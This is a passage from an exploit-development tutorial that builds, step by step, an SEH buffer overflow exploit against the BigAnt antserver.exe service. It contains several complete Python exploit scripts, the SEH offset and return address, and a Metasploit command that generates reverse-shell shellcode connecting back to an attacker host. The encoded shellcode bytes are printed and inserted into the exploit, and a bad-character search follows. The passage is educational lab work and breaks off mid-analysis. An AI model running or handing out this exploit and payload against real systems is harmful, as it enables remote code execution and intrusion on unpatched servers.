> user@bt4pf:~$ /pentest/exploits/framework3/tools/pattern\_create.rb 2500  
>  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa.....e6De7De8De9Df0Df1Df2D
  
Note: I have truncated the unique string in the output above and in my
skeleton exploit below for readabilitys sake. Make sure you use the entire
string\!  
  
Lets put the unique string into our exploit.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa.....e6De7De8De9Df0Df1Df2D"  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
We now want to close and repoen OllyDbg, restart the antserver.exe process
\(this can be done by running the BigAnt Console and using the Restart button
you will find by going to the Server menu, selecting Run Service Control and
viewing the console that appears\) and reattach antserver.exe in Olly. Hit
play or F9 to let antserver.exe run.  
  
Now run the exploit against BigAnt again....  
  
When you get the access violation error, use View->SEH Chain to view the SEH
handler value. At this point you will see the value that has overwritten the
SEH value. For me this was 42326742. Lets use pattern\_offset.rb to find where
in our buffer this string exists \(and hence which section of our buffer
overwrites SEH\).  
  

> user@bt4pf:~$ /pentest/exploits/framework3/tools/pattern\_offset.rb 42326742  
>  966
  
The overwrite occurs at byte 966.  
  
Lets restructure our exploit to confirm this.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xcc\xcc\xcc\xcc"  
>  buffer+= "\x41\x41\x41\x41"  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
You may notice that I have included 4 different characters in the last 4 bytes
leading up to the end of the 966 bytes in the buffer before the SEH overwrite
address. The reason for this will soon become clear.  
  
Lets stop and start Olly and antserver.exe, reattach antserver.exe and let it
run, and then rereun the new exploit.  
  
We get the access violation again, and when we check the SEH Chain, we see
that its pointing to 41414141, meaning that our offset into the buffer is
correct.  
  
  
Gaining Control of the CPU  
  
Now lets modify our exploit to place the SEH Overwrite POP, POP, RETN address
we found earlier into its appropriate place. Remember we need to take account
for the little endian order of X86 processors when entering the address.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xcc\xcc\xcc\xcc"  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
Before we go and actually run this exploit however, we want to set a
breakpoint on our SEH overwrite address to confirm that it is being hit.  
  
Right click in the CPU pane and select Go to->Expression, then enter the
address of your SEH overwrite POP, POP RETN instruction \(0F9A196A in my
case\) and hit OK. When you see the address in your CPU window \(repeat the
process if it doesn't appear\), use the F2 key to set a breakpoint on the
address. The address portion of the first POP instruction should turn red.  
  
<img src='img/Temp2_8086.png' />  
Then run the exploit.  
  
When the Access Violation error occurs, check the SEH Chain to confirm that
the correct address has been used in the overwrite, and that a breakpoint has
been set on that address \(the entry should be red if that is the case\).  
  
<img src='img/Temp2_8082.png' />  
Then use Shift + F9 keys to pass the exception to the program, the exception
handler should kick in and CPU execution should continue to the SEH address
you specified, where the breakpoint you just set will pause the processes
execution in the debugger.  
  
We can now use the F7 key three times to step through the POP, POP, RETN
instructions so that execution will run to our buffer.  
  
When we reach our buffer you will notice something interesting. We seem to
have jumped to the location in our buffer only four bytes before our overwrite
address \(to the first of those \xcc characters I added to the exploit\).  
  
Getting out of the Four Byte Corner  
  
Four bytes is not enough to run any decent shellcode, so somehow we need to
move to another location within our buffer that gives us more space. By right
clicking on the first \xcc instruction in the CPU window and selecting Follow
in Dump->Selection option, we will see the structure of our buffer and our
current location within it in the memory dump area \(bottom left corner\).  
  
<img src='img/Temp2_8089.png' />  
  
We can see that there are a large number of \x90 characters just beyond our
current position, and by taking the starting address of these characters
013CFD84 and subtracting it from the ending address of the 90 characters at
the bottom of the memory dump 013CFFFF we have 0x27B or 635 characters to use
after the overwrite address \(use Hexadecimal mode in your calculator to do
this subtraction\). In addition, checking before the foru \xcc characters we
have from 013CFD7B to 013CF9BA or 0x3C1 961 characters. Either space is enough
for us to use for shellcode.  
  
For our first time around lets keep things as simple as possible and use the
space after the overwrite address for our shellcode. The after we are done I
will demonstrate a method we can use to go back into the first buffer, for use
in cases where we have less buffer space after the SEH overwrite address.  
  
To get out of our four byte space into the area that follows the SEH overwrite
section, we will use the JMP SHORT assembly instruction. This instruction
tells the CPU to "jump" forward in memory for a specified number of bytes, and
to continue execution at the point where the jump is complete. The opcode for
a JMP SHORT instruction is \xeb\xXX where XX stands for the amount of bytes to
jump forward, and the jump is counted beginning at the next instruction after
the JUMP SHORT command. Consequently, to get over our SEH overwrite address to
the buffer space beyond, we want to jump forward by 6 bytes which is \xeb\x06.
That includes 4 bytes for the SEH overwrite and two bytes to account for the
remaining bytes in the four byte area we are currently working in. We will
fill in the remaining two instructions in the four byte area with \x90 NOP
instructions.  
  
To do this we will add the characters \xeb\x06\x90\x90 into our exploit in the
4 bytes before the SEH overwrite. However before we test this in the exploit
we will also generate some shellcode  
  
Adding Shellcode to the Exploit  
  
We will also now generate some reverse shell shellcode to place into our
exploit, and we will ensure that we encode it to get rid of potential bad
characters such as '\x00\x0a\0x0d'  
  
When running this command notice that I am also specifying a maximum size for
the shellcode using the msfencode -s switch to ensure that the resultant
shellcode will fit within my buffer space \(which is 635 - the 16 bytes I am
intending to add for leading NOPs\). 619 bytes was always going to be more
than enough space for this type of shellcode, so this switch is a little
unneccessary here, but its good to be aware of this option when you are
working on exploits that have less available space. I also specified the
architecture to encode for \(x86\), the output format \('c' language style\),
and the characters to avoid using \(\x00\x0a\x0d\) as well as specifying my
own local attacking systems address and port \(192.168.20.11:443\) for the
reverse shellcode. If the Metasploit tools are not in your path \(they will be
in BT4 Prefinal but not in older versions\) then you will need to provide a
full path to the binaries in this command, or otherwise change to the
Metasploit directory which is /pentest/exploits/framework3 on BackTrack.  
  

> user@bt4pf:~$ msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c  
>  \[\*\] x86/shikata\_ga\_nai succeeded with size 342 \(iteration=1\)  
>  
>  unsigned char buf\[\] =  
>  "\xbe\xa5\x70\xc4\x71\x31\xc9\xda\xcc\xb1\x4f\xd9\x74\x24\xf4"  
>  "\x5a\x83\xea\xfc\x31\x72\x0f\x03\x72\x0f\xe2\x50\x8c\x2c\xf8"  
>  "\x9a\x6d\xad\x9b\x13\x88\x9c\x89\x47\xd8\x8d\x1d\x0c\x8c\x3d"  
>  "\xd5\x40\x25\xb5\x9b\x4c\x4a\x7e\x11\xaa\x65\x7f\x97\x72\x29"  
>  "\x43\xb9\x0e\x30\x90\x19\x2f\xfb\xe5\x58\x68\xe6\x06\x08\x21"  
>  "\x6c\xb4\xbd\x46\x30\x05\xbf\x88\x3e\x35\xc7\xad\x81\xc2\x7d"  
>  "\xac\xd1\x7b\x09\xe6\xc9\xf0\x55\xd6\xe8\xd5\x85\x2a\xa2\x52"  
>  "\x7d\xd9\x35\xb3\x4f\x22\x04\xfb\x1c\x1d\xa8\xf6\x5d\x5a\x0f"  
>  "\xe9\x2b\x90\x73\x94\x2b\x63\x09\x42\xb9\x71\xa9\x01\x19\x51"  
>  "\x4b\xc5\xfc\x12\x47\xa2\x8b\x7c\x44\x35\x5f\xf7\x70\xbe\x5e"  
>  "\xd7\xf0\x84\x44\xf3\x59\x5e\xe4\xa2\x07\x31\x19\xb4\xe0\xee"  
>  "\xbf\xbf\x03\xfa\xc6\xe2\x4b\xcf\xf4\x1c\x8c\x47\x8e\x6f\xbe"  
>  "\xc8\x24\xe7\xf2\x81\xe2\xf0\xf5\xbb\x53\x6e\x08\x44\xa4\xa7"  
>  "\xcf\x10\xf4\xdf\xe6\x18\x9f\x1f\x06\xcd\x30\x4f\xa8\xbe\xf0"  
>  "\x3f\x08\x6f\x99\x55\x87\x50\xb9\x56\x4d\xe7\xfd\xc0\xae\x50"  
>  "\x15\x1b\x47\xa3\x16\x1a\x2c\x2a\xf0\x76\x42\x7b\xaa\xee\xfb"  
>  "\x26\x20\x8f\x04\xfd\xa1\x2c\x96\x9a\x31\x3b\x8b\x34\x65\x6c"  
>  "\x7d\x4d\xe3\x80\x24\xe7\x16\x59\xb0\xc0\x93\x85\x01\xce\x1a"  
>  "\x48\x3d\xf4\x0c\x94\xbe\xb0\x78\x48\xe9\x6e\xd7\x2e\x43\xc1"  
>  "\x81\xf8\x38\x8b\x45\x7d\x73\x0c\x10\x82\x5e\xfa\xfc\x32\x37"  
>  "\xbb\x03\xfa\xdf\x4b\x7b\xe7\x7f\xb3\x56\xac\x70\xfe\xfb\x84"  
>  "\x18\xa7\x69\x95\x44\x58\x44\xd9\x70\xdb\x6d\xa1\x86\xc3\x07"  
>  "\xa4\xc3\x43\xfb\xd4\x5c\x26\xfb\x4b\x5c\x63\xf1";
  
Lets plug the JUMP instruction, 16 bytes of NOP padding and our shellcode into
the exploit.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xeb\x06\x90\x90" \# JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* 16 \# NOP padding before shellcode  
>  \# msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c - 342 bytes x86/shikata\_ga\_nai  
>  buffer+= \("\xbe\xa5\x70\xc4\x71\x31\xc9\xda\xcc\xb1\x4f\xd9\x74\x24\xf4"  
>  "\x5a\x83\xea\xfc\x31\x72\x0f\x03\x72\x0f\xe2\x50\x8c\x2c\xf8"  
>  "\x9a\x6d\xad\x9b\x13\x88\x9c\x89\x47\xd8\x8d\x1d\x0c\x8c\x3d"  
>  "\xd5\x40\x25\xb5\x9b\x4c\x4a\x7e\x11\xaa\x65\x7f\x97\x72\x29"  
>  "\x43\xb9\x0e\x30\x90\x19\x2f\xfb\xe5\x58\x68\xe6\x06\x08\x21"  
>  "\x6c\xb4\xbd\x46\x30\x05\xbf\x88\x3e\x35\xc7\xad\x81\xc2\x7d"  
>  "\xac\xd1\x7b\x09\xe6\xc9\xf0\x55\xd6\xe8\xd5\x85\x2a\xa2\x52"  
>  "\x7d\xd9\x35\xb3\x4f\x22\x04\xfb\x1c\x1d\xa8\xf6\x5d\x5a\x0f"  
>  "\xe9\x2b\x90\x73\x94\x2b\x63\x09\x42\xb9\x71\xa9\x01\x19\x51"  
>  "\x4b\xc5\xfc\x12\x47\xa2\x8b\x7c\x44\x35\x5f\xf7\x70\xbe\x5e"  
>  "\xd7\xf0\x84\x44\xf3\x59\x5e\xe4\xa2\x07\x31\x19\xb4\xe0\xee"  
>  "\xbf\xbf\x03\xfa\xc6\xe2\x4b\xcf\xf4\x1c\x8c\x47\x8e\x6f\xbe"  
>  "\xc8\x24\xe7\xf2\x81\xe2\xf0\xf5\xbb\x53\x6e\x08\x44\xa4\xa7"  
>  "\xcf\x10\xf4\xdf\xe6\x18\x9f\x1f\x06\xcd\x30\x4f\xa8\xbe\xf0"  
>  "\x3f\x08\x6f\x99\x55\x87\x50\xb9\x56\x4d\xe7\xfd\xc0\xae\x50"  
>  "\x15\x1b\x47\xa3\x16\x1a\x2c\x2a\xf0\x76\x42\x7b\xaa\xee\xfb"  
>  "\x26\x20\x8f\x04\xfd\xa1\x2c\x96\x9a\x31\x3b\x8b\x34\x65\x6c"  
>  "\x7d\x4d\xe3\x80\x24\xe7\x16\x59\xb0\xc0\x93\x85\x01\xce\x1a"  
>  "\x48\x3d\xf4\x0c\x94\xbe\xb0\x78\x48\xe9\x6e\xd7\x2e\x43\xc1"  
>  "\x81\xf8\x38\x8b\x45\x7d\x73\x0c\x10\x82\x5e\xfa\xfc\x32\x37"  
>  "\xbb\x03\xfa\xdf\x4b\x7b\xe7\x7f\xb3\x56\xac\x70\xfe\xfb\x84"  
>  "\x18\xa7\x69\x95\x44\x58\x44\xd9\x70\xdb\x6d\xa1\x86\xc3\x07"  
>  "\xa4\xc3\x43\xfb\xd4\x5c\x26\xfb\x4b\x5c\x63\xf1"\)  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
  
And we restart the debugger and get the antserver.exe process running once
more.  
  
Make sure that you set a breakpoint on your SEH overwrite address \(you may
not have to do this as it may already be set\), because we want to view our
shellcode in the debugger to do a quick check that it is unmmolested. Stepping
through from our breakpoint will also let us watch our short jump to confirm
that it works as we expected.  
  
Now we run our exploit... the crash happens as expected, but when we check our
SEH chain we see that the SEH handler now points to 90909090.  
  
<img src='img/Temp2_8092.png' />  
  
This is no good. Lets remove the shellcode from our exploit, restart the
applicaiton and debugger, and try again.  
  

> Note: If at this point your SEH Handler address does not get overwritten
> with an incorrect 90909090 value \(which is possible if your shellcode was
> encoded slightly differently by msfencode\), still try and follow along
> anyway by resetting your exploit code to the snippet below. The process of
> removing bad characters from an exploit is still an important skill to
> learn.
  
The exploit code goes back to the following \(note that the total buffer size
sent will still be the same because of our line "buffer+= "\x90" \* \(2504 -
len\(buffer\)\)"\)  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xeb\x06\x90\x90" \# JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* 16 \# NOP padding before shellcode  
>  \# msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -s 619 -t c - 342 bytes x86/shikata\_ga\_nai  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
After running this and checking our SEH chain we see it is back to our
expected value. So what is going on? The most likely problem is a bad
character in our shellcode, one that is breaking our exploit. We need to find
the bad character and reencode our shellcode to avoid it.  
  
  
Bad Characters  
  
Bad characters can have a number of different effects in an exploit. Sometimes
they get translated to one or more other characters, or they get removed from
the string entirely, in which case you work out which characters are bad by
examining the memory dump in the debugger, finding your buffer, and seeing
which characters are missing or have changed. In other cases however, bad
characters seem to completely change the structure of the buffer, and simple
memory examination won't tell you which ones are missing. This is what appears
to be happening to us now.  
  
In these cases we have to use a bit of a trial and error process, where we
feed sets of characters to the program in a structured fashion, check the
results we get, and when we see signs that a bad character has been sent
narrow down the list of characters we send until the bad character is
revealed.  
  
To assist with this we will use the perl script generatecodes.pl, which will
give us a separated list of all possible characters, except those we specify.
This will save us a bit of time in figuring out which characters are bad, as
we will only have to test each character once.  
  
There are ways to automate this process, which I will go into further in a
future entry. Automation of this bad character discovery process can be a big
help when writing exploits for programs with a lot of bad characters.  
  
We run generatecodes.pl at the command line \(don't forget to mark it as
executable with chmod +x first\), and tell it not to give us the 00,0a,0d
characters in the output.  
  

> user@bt4pf:~$ ./generatecodes.pl 00,0a,0d  
>  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
>  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  
>  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"  
>  "\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"  
>  "\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"  
>  "\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b"  
>  "\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"  
>  "\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89"  
>  "\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"  
>  "\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7"  
>  "\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"  
>  "\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"  
>  "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4"  
>  "\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"  
>  "\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"  
>  "\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  
We now take each of these lines of output and feed them into our exploit one
by one until we see a problem with our overwritten SEH address. We will need
to restart the debugger and program and reattach after each crash. Our first
run through will look like the following  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xeb\x06\x90\x90" \#JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* 16 \# NOP padding before shellcode  
>  buffer+= "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
This causes a crash with our SEH Chain overwritten by the expected address.
None of these characters appear to be bad. Now lets add the next line in, like
so. Note the parentheses around the assigned value.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xeb\x06\x90\x90" \#JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* 16 \# NOP padding before shellcode  
>  buffer+= \("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"\)  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
When we run this we now get a crash with SEH pointing to 90909090. Our first
bad character is somewhere within those last 15 characters we added. To find
where, we will split the line \(more or less\) in half, to give the following
line  
  
\x12\x13\x14\x15\x16\x17\x18\x19  
  
Our buffer defining line now becomes  
  

> buffer+= \("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19"\)
  
Viewing the SEH Chain, we see that it is now back to our expected value. So
the bad character is in the last half of that string we just sent
\x1a\x1b\x1c\x1d\x1e\x1f\x20.  
  
We now modify the buffer to add half again from the section of the string that
contains one or more bad characters.  
  

> buffer+= \("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d"\)
  
Running the exploit we can see that the SEH Chain still shows our desired
value. So we know that one or more of these three remaning characters
\x1e\x1f\x20 is bad. Im sure by now you see what we are doing here, we are
continually sending different sections of this line until we find which of the
characters causes the problem.  
  
Lets change the buffer as follows and repeat.  
  

> buffer+= \("\x01\x03\x04\x05\x06\x07\x08\x09\x0c\x0e\x0f\x10\x11\x12\x13"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"\)
  
Again our SEH address is overwritten as expected. It appears that \x20 is a
bad character. This is hardly surprising as \x20 is represented in ASCII by a
space.  
  
We can quickly confirm that this is the only bad character by generating the
codes for all characters apart from \x00 \(null\), \x0a \(line feed\), \x0d
\(carriage return\) and \x20 \(space\), feeding them into the buffer and
checking that our SEH address overwrites as expected.  
  

> user@bt4pf:~$ ./generatecodes.pl 00,0a,0d,20  
>  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"  
>  "\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"  
>  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
>  "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"  
>  "\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"  
>  "\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"  
>  "\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"  
>  "\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"  
>  "\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"  
>  "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"  
>  "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"  
>  "\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"  
>  "\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"  
>  "\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"  
>  "\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"  
>  "\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  
We now set our line in the exploit to be as follows  
  

> buffer+= \("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"  
>  "\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"  
>  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
>  "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"  
>  "\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"  
>  "\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"  
>  "\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"  
>  "\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"  
>  "\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"  
>  "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"  
>  "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"  
>  "\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"  
>  "\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"  
>  "\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"  
>  "\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"  
>  "\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"\)
  
And when we trigger the exploit and check our SEH Chain it is overwritten with
our expected value. We dont have any more bad characters that will mangle our
buffer, but do we have any bad characters that will be translated to something
else or that will be missing entirely?  
  
More Bad Characters?  
  
To find out if there are more bad characters hiding in our buffer, lets check
the contents of our memory dump. To do this, we first confirm that we have a
breakpoint set on our SEH Overwrite address, then we pass the exception to the
program using Shift and F9, then we use F7 to step through execution of our
POP, POP, RETN instructions, then our JMP instruction. At this point we should
be at the start of the first of our 16 NOP instructions and we should be able
to see the point where our set of characters, starting with \x01\x02 begins.
We can then select this in the CPU pane, right click and choose Follow in
Dump-> Selection to show this in the memory dump pane.  
  
<img src='img/Temp2_8094.png' />  
  
We should now be able to see characters going from \x01 all the way through to
\xFF in our memory dump. Select all of these characters, right click and
choose Binary->Binary Copy from the menu.  
  
<img src='img/Temp2_8095.png' />  
Now paste this into a file, which you can call memory.txt and remove all but
one newline characters from the end of the file. If you are accessing your
victim system via a remote desktop session, or via a virtualisation products
console, you should be able to directly paste the contents of the clipboard
from your victim system to a file in your attacking system. Otherwise you will
need to paste the data to a local file on your victim system and then transfer
it to your attacking system. Whichever way you achieve this, if you view the
contents of the file once it is on your attacker system, you should see
something like the following:  
  

> user@bt4pf:~$ cat memory.txt  
>  01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B
> 1C 1D 1E 1F 21 22 23  
>  24 57 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E
> 3F 40 41 42 43 44 45  
>  46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E
> 5F 60 61 62 63 64 65  
>  66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E
> 7F 80 81 82 83 84 85  
>  86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E
> 9F A0 A1 A2 A3 A4 A5  
>  A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE
> BF C0 C1 C2 C3 C4 C5  
>  C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE
> DF E0 E1 E2 E3 E4 E5  
>  E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE
> FF
  
Now take the output from generatecodes and paste this into a file called
shellcode.txt. If you view the contents of the file you should see something
like the following  
  

> user@bt4pf:~$ cat shellcode.txt  
>  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"  
>  "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"  
>  "\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"  
>  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
>  "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"  
